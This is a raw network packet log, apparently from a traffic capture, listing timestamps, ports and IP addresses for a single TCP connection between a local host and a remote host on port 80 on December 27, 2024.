Dec 27, 2024 15:04:06.509211063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.509253979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.509318113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.541167021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.541260958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.541313887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.541625977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.541716099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.541757107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.542622089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.542669058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.542705059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.543493032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.543612003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.543648005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.544281960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.544612885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.544647932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.544703007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.545545101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.545581102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.545614958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.546391010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.546432018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.546473026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.547266006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.547307014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.547352076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.548139095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.548175097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.548226118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.549079895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.549127102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.549145937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.549861908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.549902916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.582992077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.583030939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.583076954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.583336115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.583391905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.583432913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.665182114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.665199041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.665273905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.665740967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.665977001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.665993929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.666007996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.666018963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.666047096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.666059971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.666774988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.666786909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.666812897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.667536974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.667548895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.667577028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.668231010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.668270111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.668467045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.669538021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.669549942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.669584990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.670162916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.670180082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.670208931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.671463966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.671477079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.671505928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.672017097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.672080994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.672563076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.673393011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.673404932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.673430920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.674065113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.674108982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.674609900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.675175905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.675221920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.707540989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.707591057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.707633972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.707952976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.708003998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.708043098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.800957918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.801042080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.801105976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.801371098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.801430941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.801476955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.801949978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.802067995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.802109957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.802800894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.802989006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.803028107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.803102016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.803920031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.803955078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.803981066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.804744005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.804791927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.804831982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.805619001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.805661917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.805829048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.805875063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.805912971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.806716919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.806813955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.806849003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.807617903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.807735920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.807774067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.808454990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.808759928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.808799028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.808840036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.809647083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.809686899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.809752941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.810558081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.810595036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.810667038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.811378956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.811417103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.831839085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.831875086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.831913948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.832230091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.874557018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.925157070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.925241947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.925306082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.925487041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.926537991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.926579952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.926613092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.926987886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.927028894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.927087069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.927897930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.927933931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.927966118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.928730011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.928776979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.928809881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.929644108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.929687023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.930118084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.930196047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.930238008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.930900097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.931010962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.931056976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.931792974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.931852102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.931900024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.932605028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.932887077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.932926893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.932972908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.933820963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.933864117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.933952093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.934639931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.934681892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.934815884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.935548067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.935590029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.935719013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.956310987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.956357956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:06.956413031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.956629038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:06.956670046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.195467949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195485115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195494890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195554972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.195755005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195768118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195780993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.195796013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.195848942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315136909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315165997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315177917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315190077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315201998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315216064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315229893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315243959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315256119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315263033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315270901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315289021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315305948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315309048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315309048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315309048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315341949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315376997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315423012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315433979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315445900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315455914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315457106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315469980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315478086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315485001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315502882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315507889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315536022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315542936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315556049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315566063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315577030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315587997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315612078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315625906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315644979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315653086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315665007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315675974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.315676928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.315699100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316292048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316304922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316315889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316330910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316354990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316437960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316450119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316461086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316472054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316483974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316483974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316498995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316510916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316514015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316524029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316536903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316544056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316550970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316561937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316571951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316576958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316591024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.316592932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.316616058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317333937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317351103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317363977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317372084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317385912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317397118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317399979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317414999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317434072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317445993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317456961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317470074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317481041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317482948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317507029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317519903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317532063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317543983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317553997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317553997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317575932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.317581892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.317635059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318165064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318176985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318214893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318315983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318327904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318336964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318348885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318358898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318360090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318373919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318384886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318386078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318397999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318412066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318413019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318423986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318434000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318435907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318448067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318461895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318463087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318478107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318484068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.318490028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.318517923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.319188118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319200993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319211960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319224119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.319225073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319236994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319248915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.319251060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.319267988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.325349092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.329497099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.329560041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.329590082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.329827070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.329869986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.349332094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.384774923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.384936094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.384985924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.422862053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.422991037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.423043966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.423234940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.423989058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.424045086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.424068928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.424459934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.424504042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.424580097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.425358057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.425405025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.425448895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.426199913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.426238060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.426539898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.426652908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.426723957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.427393913 CET	80	49743	185.215.113.16	192.168.2.4
